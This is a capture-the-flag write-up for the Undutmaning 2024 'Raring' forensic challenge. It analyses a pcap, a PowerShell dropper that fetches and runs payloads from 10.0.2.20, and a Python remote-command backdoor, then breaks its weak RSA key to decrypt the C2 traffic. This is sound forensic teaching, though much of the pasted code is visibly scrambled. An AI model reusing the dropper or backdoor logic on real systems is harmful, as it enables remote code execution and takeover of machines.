The challenge
The challenge is called “Raring” and is part of the Undutmaning 2024 CTF, hosted by FRA, Försvarsmakten and SÄPO. Thanks to the organizers for a fun and challenging CTF!
The challange reads:
An intercepted communication between King Harald and his courtesan Brunhild Beträglig seems to indicate that she is playing some kind of double game. Is it because she is trying to get into Harald’s system? Is she perhaps even a possible ally?
Dig out everything you can from the intercepted communication!
Translated from swedish for this writeup.
En uppsnappad kommunikation mellan Kung Harald och hans frilla Brunhild Bedräglig verkar peka på att hon spelar någon form av dubbelspel. Är det till och så att hon försöker ta sig in i Haralds system? Är hon kanske till och med en möjlig allierad?
Gräv ut allt du kan ur den uppsnappade kommunkationen!Solving the challenge
We only get a single file, raring.zip
to start with. A zip-file encrypted with the password infected
.
We unpack this zip-file with the following command:
$ unzip -P infected raring.zip
This gives us a raring.pcap
file, which we open in Wireshark.
Scroll through the packets and look for anything interesting. We find a HTTP GET request to /mail/inbound/D7A7F39A14ADB3589D191853DF307198/attachments/important.rar
important.rar
seems like a good candidate for further investigation. Select the HTTP response row and right-click the Data section, then select Export Packet Bytes...
and save the file as important.rar
.
Running the command file important.rar
reveals that it is in fact not a RAR-archive, but a ZIP-archive.
$ file important.rar
important.rar: Zip archive data, at least v2.0 to extract
Just use the unzip
command to extract the contents of the archive.
$ unzip important.rar
Archive: important.rar
creating: IMPORTANT.md /
replace IMPORTANT.md ? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
error: cannot delete old IMPORTANT.md
Is a directory
inflating: IMPORTANT.md /IMPORTANT.md .cmd
The files in the archive seems to have strange names, with a space at the end. No idea why, but we can just rename them.
$ mv IMPORTANT.md\ important
$ cd important
$ mv IMPORTANT.md\ .cmd IMPORTANT.cmd
At this point we have a file called IMPORTANT.cmd
, which we can open in a text editor or cat to the terminal.
$ cat IMPORTANT.cmd
@echo off
-command 'if ((&{python -V} 2>&1 | % gettype) -eq [System.Management.Automation.ErrorRecord]) {Invoke-WebRequest http://10.0.2.20/msupdate.msi -OutFile C:\Temp\msupdate.msi; Start-Process "C:\Temp\msupdate.exe" -WindowStyle Hidden} else {$s = (Invoke-WebRequest "http://10.0.2.20/G78GAP3GQV8B.jpg").Content; $k = $s[-4934..-2467]; $v = $s[-2467..-1]; $o = @(); for ($i = 0; $i -lt 2467; $i++) { $o += $k[$i] -bxor $v[$i]; }; $o = [System.Text.Encoding]::ASCII.GetString($o); python3 -c "$($o)"}'% powershell.exe
Let’s prettify the command a bit to make it easier to read.
if ((&{python -V} 2>&1 | % gettype) -eq [System.Management.Automation.ErrorRecord]) {
Invoke-WebRequest http://10.0.2.20/msupdate.msi -OutFile C:\Temp\msupdate.msi; Start-Process "C:\Temp\msupdate.exe" -WindowStyle Hidden
} else {
$s = (Invoke-WebRequest "http://10.0.2.20/G78GAP3GQV8B.jpg").Content;
$k = $s[-4934..-2467];
$v = $s[-2467..-1];
$o = @();
for ($i = 0; $i -lt 2467; $i++) {
$o += $k[$i] -bxor $v[$i];
};
$o = [System.Text.Encoding]::ASCII.GetString($o); python3 -c "$($o)"
}
It seems like the script is checking if Python is installed, and if not, it will download and execute a file called msupdate.msi
. If Python is installed, it will download a file called G78GAP3GQV8B.jpg
, extract some data from it and execute it as a Python script.
We don’t have access to the 10.0.2.20 server, so we can’t download the files. But we can extract the Python script from the G78GAP3GQV8B.jpg
file which can be found in the pcap file.
Back in Wireshark, export the G78GAP3GQV8B.jpg
file from the HTTP response.
We should now have a file called G78GAP3GQV8B.jpg
which we can open in a photo viewer of our choice.
The image seems to be a regular image of a cat, but looking at the powershell script above, we know that there is some hidden data in the image. We can extract the data using a modified version of the powershell script.
$s = Get-Content G78GAP3GQV8B.jpg -Encoding Byte
$k = $s[-4934..-2467];
$v = $s[-2467..-1];
$o = @();
for ($i = 0; $i -lt 2467; $i++) {
$o += $k[$i] -bxor $v[$i];
};
$o = [System.Text.Encoding]::ASCII.GetString($o);
Write-Output $o
We have removed the download part and python execution, and instead read the image file as bytes and extracted the hidden data using the same method as the script, printing the output to the terminal.
The script spits out the following python script:
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from time import sleep
import subprocess
import socket
def encrypt_session_key(session_key: bytes) -> bytes:
# TODO: generate new rsa key, p and q are too close..
= '''-----BEGIN PUBLIC KEY-----
public_pem MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2p66AmcxzvL+l5Ib/SjM
yVcX0PReNxuylpgqvrd6jht3s7DvUSuK0SJYJSNiIxJPBcCmwGFdA+URSVZZfH81
UscqCGgtDfFyioAICLNQFDCedes7+5z/XXWob/0aRblifPBtg4Bw/ZOkhpCFg7BA
C7DMO8dG1Na2gl78cOsCyms4nHtd2vXOBHHSTMz3Ua7hyZVQC97lZKuJQ65ijy3c
dNaiZzN1J1ehUiugP39bnNSjaH8QbAdYL+TapK39KZRXjA38ndnplfFT3X17tM/j
5YW2z6dhMZsVpDMc3CdP30r5irC5XcnRXXHbf4WTtyL2/WhEmefre9I98r1smC+B
iwIDAQAB
-----END PUBLIC KEY-----'''
= RSA.import_key(public_pem)
public_key = PKCS1_OAEP.new(public_key)
cipher = cipher.encrypt(session_key)
ciphertext return ciphertext
def encrypt_AES_GCM(key, plaintext):
= AES.new(key=key, mode=AES.MODE_GCM)
cipher = cipher.encrypt_and_digest(plaintext)
ciphertext, tag return cipher.nonce + tag + ciphertext
def decrypt_AES_GCM(key, nonce, tag, ciphertext):
= AES.new(key=key, nonce=nonce, mode=AES.MODE_GCM)
cipher = cipher.decrypt_and_verify(ciphertext, tag)
plaintext return plaintext.decode('utf-8')
if __name__ == '__main__':
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock = get_random_bytes(16)
session_key
while True:
try:
connect(('10.0.2.20', 443))
sock.break
except:
60)
sleep(
= encrypt_session_key(session_key)
rsa_blob
sock.sendall(rsa_blob)
while True:
try:
= sock.recv(4096)
message if not message:
break
= message[:16]
nonce = message[16:32]
tag = message[32:]
ciphertext = decrypt_AES_GCM(session_key, nonce, tag, ciphertext).split()
command = subprocess.check_output(['powershell.exe'] + command, stderr=subprocess.STDOUT)
result = encrypt_AES_GCM(session_key, result)
aes_blob
sock.sendall(aes_blob)except subprocess.CalledProcessError as cpe:
= encrypt_AES_GCM(session_key, cpe.output)
aes_blob
sock.sendall(aes_blob)except:
= encrypt_AES_GCM(session_key, 'Unexpected error!'.encode())
aes_blob sock.sendall(aes_blob)
The TODO
comment near the top of the script hints that the RSA key is not secure due to p
and q
being too close. This is a hint that the RSA key can be factored. We can factor the RSA key using the fermat factorization method.
Save the RSA key to a file called rsa.pub
and run the following python script to factor the key.
from Crypto.PublicKey import RSA
def isqrt(n):
=n
x=(x+n//x)//2
ywhile(y<x):
=y
x=(x+n//x)//2
yreturn x
def fermat(n):
=isqrt(n)+1
t0=0
counter=t0+counter
t=isqrt((t*t)-n)
tempwhile((temp*temp)!=((t*t)-n)):
+=1
counter=t0+counter
t=isqrt((t*t)-n)
temp=temp
s=t+s
p=t-s
qreturn p,q
= RSA.importKey(open('rsa.pub', 'r').read())
public_key = public_key.n
n
=fermat(n)
p,qprint("n: ",int(n))
print("p: ",int(p))
print("q: ",int(q))
And just like that, we have factored the RSA key.
To get the private key, we can use this site: https://www.tausquared.net/pages/ctf/rsa.html.
Taking a look at the python script generated from the image, we can see that it generates a random session key and encrypts it using the RSA public key. It then sends the encrypted session key to the server. This looks like a simple hand-rolled TLS-like protocol.
We need to recover the session key to decrypt the messages sent to the server. We can do this by finding the first message sent to the server and decrypting it using our recovered private key.
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
# This function is borrowed from the powershell generated python script
def decrypt_AES_GCM(key, nonce, tag, ciphertext):
= AES.new(key=key, nonce=nonce, mode=AES.MODE_GCM)
cipher = cipher.decrypt_and_verify(ciphertext, tag)
plaintext return plaintext.decode('utf-8')
# Recovered using the Fermat Attack
=27598221485850985023658493832540104972348282651850391556024707082442433704392091526440432610066544806760766219243763589412871467334659280802794432292042049808078573661364181574743081848884987981525718796760954965881590357121558128280308387718582434667726467217944876421232464961166646195664228757310744695960254907319660792485593886080983232630836154808206621091401242877137671113614403216537937927556157786873435640184689905889448998608457109480208872267102524472310557560234804132815334616648304101967544836585574245116457418548607468249992276152536388385831017780107866857266038993892578651367204742881096347124107
n=166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410142863
p=166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410021189
q=65537
e=243531353670022304826586928611960604468928652201117275266637497511563541440414796979718351634847602194693455859253541918977515089655476067470092854106189868677751817279833422439281741621623943829359272826083279443853943713411444563049593370119768315406131237482230358930402579365119328974649889624806880417303552017665980317787039289762950998864060347469243596545619770665989157964998019626815365642216255815752001167649578571674642148354373197164889413061440801281705138890484134445059600666937082894504329949409353265142320746039600334224669299334588189781371306147552707845790725971437632697664045860236309081069
d
= (n, e, d, p, q)
key_params = RSA.construct(key_params)
key = PKCS1_OAEP.new(key)
cipher
# From the first message sent to the server
= cipher.decrypt(bytearray.fromhex('8534befd647f996c7a76ec7fcc1efeb7e0d8820acaa4328cfd47f6093dc2e1727f76baed5a81f58e080a8dd4870c039b459b0e6ad4674f50dbffc70a34d5dc3d40d0ce55c97a5c82b93ceb4ee3e623d6ee834e837a2441296ce2b4366e583e08610c0fc7c1414e5b393bee36cc6e739fe0e93fde8d08a21cd2a7496cf2ab87821461062a4b5bfcaf8794735de643baa17d543d80cca68f8e75b9c21ad6b84a0b082b50fa3e4a6112a41996c0679b7b82eccff94377b546e84408b46cc1570bb3c7295f1a0b5ecea5db533b597ac03d118f55931c009509ebbc95663dc8d72a98cb5278579be4f22a0246c878a993dfe51d35cd936e760514d94b0649cecd8bd0'))
aes_key print("AES Key: ", aes_key.hex())
...
AES Key: fde6fbf9a4e855b87a54c15def202daf
And there it is, the AES encryption key used to encrypt all further communication with the server. Now all we have to do is extract the messages from the pcap file and decrypt them using the AES key.
The complete script to extract and decrypt the messages is as follows:
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
def decrypt_AES_GCM(key, nonce, tag, ciphertext):
= AES.new(key=key, nonce=nonce, mode=AES.MODE_GCM)
cipher = cipher.decrypt_and_verify(ciphertext, tag)
plaintext return plaintext.decode('utf-8')
# Recovered using the Fermat Attack
=27598221485850985023658493832540104972348282651850391556024707082442433704392091526440432610066544806760766219243763589412871467334659280802794432292042049808078573661364181574743081848884987981525718796760954965881590357121558128280308387718582434667726467217944876421232464961166646195664228757310744695960254907319660792485593886080983232630836154808206621091401242877137671113614403216537937927556157786873435640184689905889448998608457109480208872267102524472310557560234804132815334616648304101967544836585574245116457418548607468249992276152536388385831017780107866857266038993892578651367204742881096347124107
n=166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410142863
p=166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410021189
q=65537
e=243531353670022304826586928611960604468928652201117275266637497511563541440414796979718351634847602194693455859253541918977515089655476067470092854106189868677751817279833422439281741621623943829359272826083279443853943713411444563049593370119768315406131237482230358930402579365119328974649889624806880417303552017665980317787039289762950998864060347469243596545619770665989157964998019626815365642216255815752001167649578571674642148354373197164889413061440801281705138890484134445059600666937082894504329949409353265142320746039600334224669299334588189781371306147552707845790725971437632697664045860236309081069
d
= (n, e, d, p, q)
key_params = RSA.construct(key_params)
key = PKCS1_OAEP.new(key)
cipher
= cipher.decrypt(bytearray.fromhex('8534befd647f996c7a76ec7fcc1efeb7e0d8820acaa4328cfd47f6093dc2e1727f76baed5a81f58e080a8dd4870c039b459b0e6ad4674f50dbffc70a34d5dc3d40d0ce55c97a5c82b93ceb4ee3e623d6ee834e837a2441296ce2b4366e583e08610c0fc7c1414e5b393bee36cc6e739fe0e93fde8d08a21cd2a7496cf2ab87821461062a4b5bfcaf8794735de643baa17d543d80cca68f8e75b9c21ad6b84a0b082b50fa3e4a6112a41996c0679b7b82eccff94377b546e84408b46cc1570bb3c7295f1a0b5ecea5db533b597ac03d118f55931c009509ebbc95663dc8d72a98cb5278579be4f22a0246c878a993dfe51d35cd936e760514d94b0649cecd8bd0'))
aes_key print("AES Key: ", aes_key.hex())
# Manually copied from the pcap file
= [
aes_msgs bytearray.fromhex('10c8f2c38550504d057cf39b037d857c2b24dc4508594688f4e885155b2179802360a16290026c09'),
bytearray.fromhex('164ef9c0337a9f7ce7769d8fc6f1820583558a02a40b03f293a5b08380737a878901d5b79353b2ef87b1'),
bytearray.fromhex('1fdd9c2b8f1e4aa6c3fc57d6ec85cd34df11a034d5066fe89468dbe0546fd88b75b087e692a8b079d053efd6'),
bytearray.fromhex('ce5ddfc5b5044247fde1c9b27346640e342d1cde69b7886e3f4ee63488063ef0cda42961153703eff84e3b848dafd87191a83f3c471d4469811673787d136ac4dea5d5cfa2966083450bd2ae'),
bytearray.fromhex('14a9b789d8c1c53043238202bdc415773aa823a003c1ab924e4f9b20e0b8476beb66e6da4a820f0c6ec188134f9055af'),
bytearray.fromhex('080027530cba080027e169d108004500061ffe6a4000800600000a00020c0a000214cc0b01bb0824e24e1730d74e50182002182600005974be3307d32ad2d73bfb1561ffb57735a3c31a0e99302ada77272374c7f3c0fbdb66fe04a23dd968be4db2ce892b7c94f95eb0748df70ba822b1a377db7be454e43a55a2913f16ce06581f45ac26c9e2fb5b82a068268a1f3761c1812e5d0c88ff60049beae21681a8b13d8f5c2085e466e4e09edf2d1592b61de5c862f227a207f8aad7c10245aa3ef22b39d7f29effc0187562b445fe41de9536de66bc382fb45f06785c9125ea609b23207629c9104706fb19fd545f8c47bcb781f1181e5f34f9c61d51fe06d0de5fc1824e3ba60ea647a5a904b45650b2ae059ee99e04c1aa96d5b86da8121c5edef864fd76f3e2028b4e449c7b33a28da893d7a271590fb2b0d8c83183caa104c2830211a722991a3a59665ea7ed77c2772f1d10b6c0ade8c7cdbf32eb16ce99fe7cb93ae49324c80f645ff45d81853db719346e64a0adcd4cfe89f71884eb10ed38000abbbfc5d851cbeeec1ed4d16e350eda1f8cfd73065b743b83718b026c5eb007309d6e2b7a8bdcea9242a029c293d0cf82a64da000d47dd95e51f7c7a6265f2461e153a01125fe9b3f58377bb9673267ffa848439cf6a52bfecdf0602db45b5916491cb497fe8a94f47c1516f1c545e46ccc881b578ae73298fa874aa81f4e00de68798f469bb263bcad8976cb8b8f9c630aa4229d63cd14d3b21e372b8985adb3e67c62b510b9d37ff2a6227d712f92258182180a01fc3a2060fe0fac211b3da77765d44fc633937a9b86d912d4704a95091b4c1aaa157c1df8ebb5d3956cebb9af6424acd84954b32c4a1e47af2b98c164da0249438ab5de4f85d6ed42e1c00224dbe9c575398e70422d10aea0e68837312367ccecad14827b9ec582bac78febf2c5d6a40f90482d8eae3c5afffc46ffc559c59350db0cbfeef9c9ad6374c8ccda1071e00a38fcdc106c83b3f0aa9f18df0d68e1f5cfe1c79bb93d2c5c2ee1ada6dffcfc685ff0ec141377eb0e2dd7d7418e38613a292239305a91e86a67972e852c1bfa549b4cd3b681bde186c5cbf2db8c6b993c38e73632c8e629404e7cfd6165baf8228854500ac35723db5a116214ddba1963e04b5b66bb28e8dd22a9cf2d68a909f5cb01ee749288f5ff1688550176b1f841f5f4367645fd8ecb00ea9f7a7fd55b13ebf1292e9dccf535584d59a11be1981881d6edcafebc676b5577245b1043139a6a1d33177ac98ba9c3efa5c03ff82afa34c8a87024ea5fc4c1ec9e682eb99f4c6e14c3764382674342ec52ac7af297bff8562e5ed1627604f82c30bd35cad8eced52e7df7f00965ee1f40178f6ed2ed94ae3211479ce94f2e1c84ca42ad9650e44327b9bc81e4e4f21ec863577ef6f80f156264784ed06f79beae7821bee7e22cf4e4346fcc957fc30da98e6d132a21646483ab18bd4cf7ef547d354700743fd0f0433c4dc3f14d21ba4bab9895402402925e4cc4fc0e481e6500e8bafd2d3abb7df6c80ddc6061118181d3beccf73f1470a31e4f8a80728f1c39e245c172b669837ca60ae41d29bc1c259caf3c898656634fbb5f9c8fe78caf60047ce9fca79b72d847561297f459995fee4f11d231400984ae56e203ebb6aa1519caacc9bd459e6859fcb68124883f9df4b99ce9587c11c0d114dc31d7d709ae69a939f968d1c467953d76832e286bc96f39e80421a1a155e5d2ee484a1d41f8209836a2cf4aea91f4c89b2bb240043dad861279910eb52af238039918aef58ba2a7d50d6d23aace3409dca8b60052291ca7697a0327fd55d36fecd70e533ac1c2e9ea7b9a9a6abc35f0208dc8dd73ddab9c58e923db88e253053cf10ef6d69d13a646d9c468baf2edb3142b3ab0f72146c4110302a0037c6ba32a3fdc205d22d51b365cf751a1e001dffdd520f7b3c1f2cd848a9b6a20e2a2a9d813b44102f87f9477c6ec5b6aae9a1519cbaa20970e71e2734dd8957b912788a108188f18a6b757ebde8cce39e3eef56c7038fa098a0b970d1b69d7fea7b8b340050dc52eab32144c8f87913ab5c68405b0027e752a0c6be923c2873c279595e2c4e9664a503fcf3a349d77fe677e13a8cc910bbe6accb35852afaffd740a867a50138a69d849515b1690a45f6d0a6de1f95b0b6d4bdb3d187f3b56c40753a2ef3bb49e07104a7b9ac7b438a5b9d2d'),
bytearray.fromhex('d92d55470e61b0b00a3537a26ffaedf1a1635db26dc7d87e743adb6fb62d65b50ebc1d792529a921ae3d300c6b87fd'),
bytearray.fromhex('b8ffcf2307d6fa67f84be41a1b8ded59d867baef36b9df71502ed32a4a3726eb35e962f3dcb3873f201c5f7a99b97ff6affeccfed8a75d7af6242551ea60523fb06b58e78316b02f053940876456bbe815c9a4de1c932c04e83dd763800ec299638a9573275a6ee748de5b4b9e9faa8e11831d437092d68a1284b58eb0d2bc3c8e2ac737087f182aee0f3d8e69d0f9df2aefb294e0782a9fe06044f29b84ff9c0ff0aaea7ca3ca01d8d2a079268760279309126176923f79795617161b9faf3c6fe0a64a9b3d444168d14c63a6ce9dc849b826ad9f39d67c00b0a455d2026c3447754d89946b3a13484b681cf1dd21edffde499abb3dbb0fa072e1ced10f5ab4945fcdf4440e13d557efeda170e3868d316b3f4d54d3da68bdcbb45a84bcd32e7faaed8072ad824e0707e6fd6ed42da9157c004e5c5335c5de2ead964e3ca1b8a33c66043c8399966df0ee2da0bbfb02a1679e29c19a223d068710c381933ea260b0c2c109afe8abac51f60869a19444b1d7ff51f60b8c1b6a5f85d3dc17d3b65e428d7a09660b5dc31b756c3cb00335392cdcdc780e4e8d37f475f9b70bb064b3b752cf1b4c7fed04510d0ad0aa7f13bc47e7338a149e9936d63ffc8e6e882f3b5542ea93d461bc0c9c74631c3a295fd8f4cad3b8c13dbee517a2e2ee3e5e41a6f296ca47181d2095be111bc27372f431deeb7c4ddccbce36207c431771219de0a5b07b14003d7918c7d5942c5fae1691641986b529ddd430d9c37624874864d6b3bb32ab4c38698448858518d5890b37a6a947a874c2b3070b4ec658f8f91b8ed21c14e91f2b776466742fbdf7d4fad856b40b7d7807bc58abc9a74414bc1fe1179d75e5730746f6e22cf43d7d15e5a666bc2ff6642d151db0d7b0bcade0f1dd117b1d502e49fe4d73e6ec4d65176fc0e1533a3094e1fc2036085d9d92cbd7d5476182408e3d135029eb05142026bfd6e16d21468805f078313a7fdb9f1a7e21ec52cef5cdfc10d330d3ed4014224e0cb4ec59199449bdd335cef9926f7ba32353610869a72cd4d4dbc0fac7bff1aa65ff365f95781aaf2de005ce62881c285818ea8341b79b69a21e8d26e5561ef18da95918a30614d42170f9bbc96275518a42de1807b475853d03fce84d9c31f79525c3ee65d496a1d9b2904167d2f8f32d2bc1bb6e2658869b825a8749c111044f0c9ae5e5866dd95d88094e748f89358d92454e2a409c8900d649eb7f057557f7b405e108055a6b1d5668ebd420aa503bf64c154a2be85e7ad7cf10eed28ad0598f1fddbcc3792e92b5dd52448bf5d41fb064f678123ec671b98e05cbda205d2fff7f6031207e74ee967e07e0eef107cdb5a2e913e212f7cecf4ee03e54d1267187b12593ae67cd2bae435cf61d855fd271ea8b5acf5c4d727657310d5df0dd591df2a965ec127dfe0189b56c403f8f7c4def3f3e90d38dafa4a925b5e79d689e25310b870477b0ccb3bab04fa66d5bd87ebae28bc734a85e097a2204b82b9e28de9c88c3e702b2bacffc6fcacc16382fb8f725d3f4250763efeda9d261a0198be3d13826f1181a4b11e1c7d29eb32b4142822f13f48acc1d52d302ec823960578a5b029560eae0fe9f5d71dd86b408b09130caade1eb4628732075e45859f627d2c749e85a08f0040b04d95b91d7ef0da3785a612d7dd276a9289929df85571fd03dc7a5e08b43f6cfde46519b8fbde511b949e6cc53f1de14f48c0bc26ab941602d9230968817adacc0b24bbd2387893276aea55851ea74040a44bf39d9b1a2415c02b2f81f80abee5b74a44e185f66f96a10514515e2670ca01530a10279a59b1bba3ae9bc41f31912f983864840a83d35ebef78a31cdff95f09d8cf064525df77e5818d4cbc8b8c6bf2bd32bc377b6288cb9e302cc7bbdc50e113d862032e90cb393c6bf818f4e53cc1886748472620dceecc8574b7a599cdc4cd3fccfb5287b847cddaf8167bc45f5397153858ccf5a432273be7b134f609a7d7435d11aaf63917f4d384d1fca1b54288d747488d165e2c565da23a34cc6b9b740dff98e547a8163374ac98d376a3854312c37e5a43d9b71fc4310a5c7c9449c1aef277200bf6979a439ae970c67b8fc253156f81a61f0e89e0d4d3822aefef0da3657fedd479fc2476a3ba79c98de90bb397d8f37ba644b7e53c3fc79faf66a2efab9e855da077b48d55ec3772fe58d5c194addebd364e1fc4eec587fb5f2963b3d137a7ee7393e74af524580fa45495f8d123b350b63cf0aa4fe05ded31a72966f26e467acd7cc36b976faa3b304d1ad38573d3e46408747091b5b173869c997d0ce5d7ea5d580905b6effb2f9cd75a185b18b3ee9775aeef613e720cf23a3000f03ff881e2029f3f8c02a7f0ce6e4c0b09617cbc814dcd3e83eaae5be70a1b518aeb24818bbf764182aa461b1105b7a876a20f3b6debce953d5a3a3194c960049a4bc5c1ed006ffa0c7d0f05879d9e984395ca0712bdfab4ecb32207ac74ce724a90317bbbeb76492c6fdc82ed7c2c9c17eebed8ac41213d06822a437a88c87c9ff14521bf25d17293fc3b4867c4a54ac96cc5a02835f8e1fdc2545e7016cb940dc48194f20fcae1fce06d2c46d464311c2a6fc823ac0c662ae62d00048f9ef126f7012a7430f34f9ae0b941104688344596a850bd3e0e501789a2639236e403c860b8450fde0f3928e0f855e47708feb08a6ccf78183a12ae94d7c5bd074dba42105f667ab2e158d35790e1be5d8d26f2bd866507ce8cca75adcf64c343c61ce40ae656fa20f8b6d00f6659a96dd37245069523b23c3c93e982910730191bff29284edb53737415b6c61887113c6d91bdea5ed9a3dc6dd2ef24767fbac3e6f64ce3ed62aa47313e5bfa616df0a07ac9bb723932f73e58b9fe3b13886e1023a28318b0c3c24c396afa48f73840ff22a89ffdc7609d23626a62590414d116aa9816520f7110674239c0c10eab119b6363b64233013ed693dee3be401b3caf54a96ba618d53f860b05d90753d2d47ab51a406e1afd82010c0a1d3eb6f67d2fa603f925f8aef9b35bc82f742ff131b1883bdbfc88234fb969dd2fe51901ce4bd420cc1c6d43ac3dbdf0fbcecbecc6422f567eb38ce7a1583b2a66e5d986d1acfab34009e43345f9333bcc67ac966709bc2c0f33c969993a3a5dd8f35dc576d170f41078cfd41582e4d9696550513b4bab5764faa39ab56d39c13f7b503c12feff8d9c8552189503cca9da9e0b41c9f07ade8bbf264fe335c9348f0d7c03e000df3b3c5af5f100f06e3d83031a2e3b6924c571e4c9de25fd2c5880651804dddda6e1922cba5f1fd61e9867780569ee2ca164a5c5fac282d9daf0689d98bedb2717443a2fcd5dab1cac907178bb440e0481955233e4349696fe7354f08cbad4a3228af62117634a9f5d2cc1bc0d817f05bd04c0aa55d66293213c42c3596ac090d439e615274818adc229531a1ce3c6cff48aec7eb120a74824b6ab2c84261f3b63a958efcf398481ef2608a063dbb9c00ab7b50fe6fd330ab7ae8b365e485eef7b88a4c2f9533d397140789acc6316972782844ab8ffa67cbdc171c11609d948263b69b7970c35f7d2d189e8138a61a3a25902d108a0911eb2c0dbaf'),
bytearray.fromhex('2db15aedfbab2f6495afbc675caa45c03b493674c52111a49c12bf1f41c2f9e423a867aaf6884ce3'),
bytearray.fromhex('2196b9726c6f0247a2d3f0e773b3b5ce89c84f8eead9b28c31261b768c9d81817acedb1c2dfbc593f8922b1f78dc204a58f94a0035212e19f703f4ab8ca71de2e64fc1181b90078605044cb8166e6235021d2494567f0000b55ca2023d5a46dfd8ec5098060e67efb619dccebcf1012e8589b61e6b1d9ea23b4478fe606a7b4e74c346317d5a005a6043680996b5de2af9c99926fc0a038a70a3d8699d6769494cb1d6c27164d2085b7a386b635ec15366d9d8591fe8acd6203abd961b6ffb24c3b226588fd3f4d66dac5a2b01acaac05d584e36ab0deec9f8890494cda850dfe4573ba67b3b7fbbff8fc6a13e118af7f1867d799e330e394c2c80419c61050bf18135ebf3f4fca0e3081dee4665fe4ccff4618aa54e4fd74a3ad88e95237f1d944da5b441af7c02d67b53bbee5c80d20a54f53c69503c82ee993e'),
bytearray.fromhex('55ac581a1a864a1513bd95d669056ac2b397d8c392ff63375d38968dcfde84e9f89c4785a3e6477e2c4d19'),
bytearray.fromhex('c42ca8ba5dc905bd51345a3abd803f280ed3cf58e4af954934c2471151fd438b0c3ab15de3153b699a562fc85b6e8e4bfe4ac08784480cdefd70d003ac790dca1f93b2427000f903a9a3ef5c764e95523d5b3bcb2cc5a826370eabc727e56c316745f515f3062fffb8342e73dd4b63088349ca8ce455db8ff9f27286eb5d9ca53c0f1e1d16c9b60acb8aac7881a631be250035c95b1079123064840fea04ddf3a6daf322211a9624364bd1f620519d20381417c68b09dc28073442e42555dd5979391edb0d66fc0335576964fdb7d45e42bae7a5b05064df95ec18a09f7b291fa423ffd794d73ddd2b3951d305588d834eac1f16a9788d267175272b5dacb0a92d6d284e651b697ddb371996627f78b6c44e77646c66e0e475b552c426565fb118dc00ec7b306ae11f2701562fe2e13dff022e88bc7070554eabd8b18a9340c3b6c33f809661fad85a814dcdf3956db7f0e35269fb59f044d709be0517b591dc063bbfe845bdf81c7ae90b946e96ec00ab546afe1bd44b9a2084be0f9f9da1cb88ae2d4aa35e346212c8aadf5b6f98155784009b5df72e0511bc68ab71b81469c6f7068b9a91341533bfd523dbffbf1f8883a31c1e9a3d46058e4e693d9aa01dddff16e817a2baa6c8bdf7dc21bc663aa6340598f180621f2ff871b0f556fc8e47bd0b342de8560d7afe17de99059d7d6b7be7d372b156396b6e564002bf96448d34c7bba32161b74376007079e4c4a5f6d828f92c0db6974d22e6e61bfc1255b58d6a083c3df3b03144158e00da62662a1c6d57d9e67ef295c4a553effc413f02d51e0a496f131113ffa61902efa71ce9847156ed829d3769fb86d394efa5dea6ab450d3439648c3a20a94e67c36dab86873a6d7b7ae366136e6cd3b73b47a8357d4932b98b45b01427cdeda506b31ff3718d3378256577ebbad2cfcc1907b36a53d109ecdb3a49f40fa417a1c4f9b415991fa282828b4c81e30da064764ab8e996c385e8120c2f0304e613810700eab1d569e1a8fa731a176b1da044e9e61e88a724e335e20861f27e74fc431706233780411d098f846e233897363d0d4ee064bc523e194809792865754ca2b00b9079b70700dd2fdaa9eebef7f8d582714b1fed7c196ce9db0bfe469580a51a90bbeb89138ee31db417d9b740bc1ca1c0fad1caa60c7911b04f4b2c50e00a82f5452a2776582161dcc936b8159da455ab6f69e891d61d34d5870dc6678bda3a7e5e177f088d7af75e3f868e1dff292c0adb9d4ce4c3ccf8bddf3d6b19f1a8344555dc0337292ffaba9c0b1f82b39105d2d9e950fde61c329289ff0559696e0ef129dc988743b0a95a66e1d02cf79084ee69a82f6a72ff00febf8c48b7837e75f46ef066a4810fb5b7f83c2b6286e2ca4da4364dda272afe1f12150378de5efef75b501cfdcf04d11fa2e694dd123d5416466884b9a0f6438b77231b965ba5fb5c4fc03056a319cbcbfccc1f976f927959dfe5e11fc1210e07334060c7087e1352df5aa99489c3a7671eb2b2331d4c7be115f874dd164336599b8acc247b60b43c25728899d339cc1985eaf301961a505c9c6aeb55babbb82eda5c3a0ab5207673b37f1530f386f619392142ad91c01176157612272e1a3e8b4a9fcd32db8ece41345293aa05fff3efa34efeb7821404dba17800c8f50ffc7786825fe3f1df3a3812579b67126028912edb1c62711a5c8445296c2eeb964c9adea52a7119988d278e940f9db3a7894804f384e88d4935cd0e18e295c6672dc4d8bf99a0203b3c763c6a834fcb3c2faf4e39db4db74c780734b48b61b8a35097453db08e95414b2261917262771d6d1a36c45ae5a4656fc072075522a610d41291bbe6c7d6b45be2fcd031af2b4383c0a4a4d93709b636d944737793b24f74fa7215b78ce80ac98e571643ddafa5e3597e5f625f89f59ff6ff83f6b0cc92ded8e48cf615ccc2f2114f059016020e687af9a4fa2f3beaa288eb6975a4c6adeadae493a3b8c0fce2569cc977d08c082d3c0e8ec7e80008a88a677b12cc9f26bb161c808b204cceff3c01a5e5c21161680119a72e0dcf7adc0fb73528b8274f8ff846e5ad7e4fe7043d5f7641be086294b2354991c56648a9e8d77fc4b861b0a2c749dfd81759334c31f31693e265b89285c0bcd9295ceae0dcdb4ca9d1e390b692ebefd27068f3243a081c3b7b87fe29bff99df125468a3643d6a6a4affc3312e885337f49bde4edb6e3baa1d8e1adabb19a22622dc8d79e87a77532a6dde31c31ddcef4d6'),
